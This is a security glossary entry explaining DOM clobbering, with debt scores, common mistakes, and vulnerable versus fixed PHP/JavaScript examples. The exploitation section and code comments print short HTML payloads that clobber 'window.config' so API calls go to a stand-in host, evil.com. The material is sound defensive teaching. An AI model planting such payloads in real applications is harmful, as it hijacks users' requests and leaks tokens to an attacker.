← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

DOM Clobbering

Security CWE-79 OWASP A3:2021 CVSS 6.5 Advanced
debt(d8/e5/b5/t9)
d8 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'silent in production until users hit it' (d9), adjusted to d8. The detection_hints explicitly state 'automated: no' and the code_pattern requires manual auditing — reading window.x or document.x where x could be a user-controlled id. No standard linter, SAST, or compiler catches this pattern; it requires careful manual review of sanitiser configuration and DOM-reading patterns. Slightly below d9 because a focused manual review of sanitiser configs can surface the primitive attack surface, but it still won't fire automatically in CI.

e5 Effort Remediation debt — work required to fix once spotted

Closest to 'touches multiple files / significant refactor in one component' (e5). The quick_fix requires two coordinated changes: (1) stripping id and name attributes from every sanitiser call accepting user HTML (potentially spread across multiple input handling locations), and (2) refactoring all window/document property lookups to use closure-captured variables instead. This touches sanitiser configuration sites and all DOM-config-reading call sites, which spans multiple files but does not require architectural rework.

b5 Burden Structural debt — long-term weight of choosing wrong

Closest to 'persistent productivity tax' (b5). The applies_to context is web broadly, meaning any PHP application rendering user-supplied HTML is in scope. Every future sanitiser configuration change, every new DOM-reading pattern, and every CSP policy review must account for clobbering. It's not load-bearing across the entire system like a shared auth helper, but it imposes an ongoing mental tax on frontend/backend integration work and sanitiser maintenance — especially given that even well-known sanitisers (DOMPurify, sanitize-html) have had clobbering bypasses requiring version pinning.

t9 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'catastrophic trap — the obvious way is always wrong' (t9). The misconception field states it directly: developers believe DOM clobbering requires script execution and is a subset of XSS, so CSP protections are assumed sufficient. The entire attack uses only static HTML attributes — no script tags, no event handlers — meaning the 'obvious' mental model (block scripts → block injection) is completely wrong. The common_mistakes reinforce this: trusting typeof checks, assuming sanitiser defaults strip id/name, and forgetting form-child property promotion are all intuitive-but-wrong assumptions a competent developer would make.

About DEBT scoring →

Also Known As

DOM clobbering named property clobbering id attribute clobbering document property collision

TL;DR

Attack where injected HTML elements with controlled `id` or `name` attributes overwrite JavaScript globals or document properties, weaponising script-less HTML injection into code execution.

Explanation

DOM clobbering exploits a long-standing browser quirk: HTML elements with `id` or `name` attributes are exposed as named properties on the `document` object and on the global `window`. An attacker who can inject HTML — but not script — can use this to overwrite JavaScript variables and tamper with control flow. Classic primitives: `<a id=foo href=javascript:alert(1)>` clobbers `window.foo` to a link object whose `href` triggers JS when accessed; `<form id=config><input name=apiKey value=evil></form>` makes `window.config.apiKey` return `'evil'` if surrounding JS reads `window.config?.apiKey`. Modern attacks chain DOM clobbering with sanitiser bypasses (DOMPurify pre-3.x had several), prototype pollution, and gadget chains in popular libraries. The defence is layered: never trust that a global variable cannot be redefined; access configuration via closures or modules instead of `window.x`; use Trusted Types where supported; configure your HTML sanitiser to strip `id` and `name` attributes (or restrict them to a safelist). DOM clobbering is most dangerous in applications that allow user-supplied HTML (rich-text editors, comment systems) and read configuration from the DOM.

How It's Exploited

App reads config from the DOM: `const url = window.config?.endpoint || '/api'`. Attacker injects in a comment field: `<a id=config><a id=config name=endpoint href=//evil.com>`. Browser exposes the second anchor as `config.endpoint`, with `href` returning the attacker URL. All subsequent API calls go to evil.com. No JavaScript executed — pure HTML.

Watch Out

Sanitiser allow-lists routinely permit id and name as 'harmless'. They aren't — these two attributes are the only thing DOM clobbering needs.

Common Misconception

DOM clobbering requires script execution and is therefore a subset of XSS. It does not — the entire attack uses static HTML attributes, no script tags, no event handlers. It is exploitable in environments with HTML injection but strict CSP that blocks inline scripts, which is why it is often the missing link in XSS-via-CSP-bypass chains.

Why It Matters

Many PHP applications allow user-supplied HTML through 'safe' sanitisers or BBCode-to-HTML pipelines, then read configuration from the rendered DOM. DOM clobbering turns that into authority confusion: `window.appConfig.endpoint` becomes attacker-controlled, redirecting API calls. With CSP increasingly common, clobbering is the path attackers take when classic XSS is blocked.

Common Mistakes

  • Allowing user-controlled `id` or `name` attributes through HTML sanitisers — these are the attack primitives.
  • Reading configuration from `document.x` or `window.x` in production code — any element with that id can clobber it.
  • Trusting `typeof x === 'undefined'` checks as a way to detect tampering — clobbered globals report as objects, not undefined.
  • Forgetting that form children become properties of the form: `<form id=app><input name=user value=admin></form>` makes `app.user` return the input.
  • Assuming the latest sanitiser version is safe — DOMPurify, sanitize-html, and others have all had clobbering bypasses; pin and update versions deliberately.

Avoid When

  • The application accepts no user-supplied HTML and uses Trusted Types — DOM clobbering surface area is essentially zero.

When To Use

  • Auditing applications that allow user-supplied HTML through a sanitiser.
  • Reviewing CSP-protected pages that still suffer XSS-class incidents — clobbering is a likely path.
  • Sanitiser configuration reviews — checking which attributes are permitted.

Code Examples

💡 Note
The architectural fix is to read trusted data once into closure-scoped variables; the configuration fix is to strip id/name attributes from any user-supplied HTML.
✗ Vulnerable
<!-- ❌ Reading global config from a DOM element by id — clobberable -->
<div id="config" data-endpoint="/api/v1" data-token="<?= $csrfToken ?>"></div>

<script>
    // Attacker-controlled HTML elsewhere on page can clobber window.config
    const cfg = window.config || document.getElementById('config');
    fetch(cfg.dataset.endpoint + '/orders');
    // If user content injects <a id=config href=//evil>, fetch goes to evil.
</script>
✓ Fixed
<!-- ✅ Read config exactly once into a closure — no global DOM lookup at use-time -->
<script type="application/json" id="app-config">
    <?= json_encode(['endpoint' => '/api/v1', 'token' => $csrfToken],
                    JSON_HEX_TAG | JSON_HEX_AMP) ?>
</script>

<script>
    (() => {
        const node = document.getElementById('app-config');
        const config = Object.freeze(JSON.parse(node.textContent));
        // From here on, only `config` (closure variable) is used — not window.config.

        function loadOrders() {
            return fetch(config.endpoint + '/orders');
        }

        // Optional hardening: also strip id/name attrs in the user-content sanitiser.
        loadOrders();
    })();
</script>

Added 28 Apr 2026
Edited 4 Jun 2026
Views 35
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 0 pings W 1 ping T 1 ping F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 1 ping T 2 pings F 0 pings S 1 ping S 1 ping M 0 pings T 0 pings W 0 pings T 1 ping F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 1 ping T 1 ping F 0 pings S 1 ping S 0 pings M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Perplexity 4 Google 3 Ahrefs 3 SEMrush 3 ChatGPT 2 Scrapy 2 Claude 1 Meta AI 1 Majestic 1 Bing 1
crawler 18 crawler_json 3
DEV INTEL Tools & Severity
🟡 Medium ⚙ Fix effort: Medium
⚡ Quick Fix
Strip id and name attributes from user-supplied HTML in your sanitiser, and read DOM-embedded configuration once into a closure variable rather than via window/document property lookups at use-time.
📦 Applies To
web
🔗 Prerequisites
🔍 Detection Hints
Reads of window.x or document.x where x is also an id used elsewhere; sanitiser configurations that allow id/name attributes on user-controlled HTML
Auto-detectable: ✗ No
⚠ Related Problems
🤖 AI Agent
Confidence: Low False Positives: High ✗ Manual fix Fix: Medium Context: File Tests: Update
CWE-79 CWE-1321


✓ schema.org compliant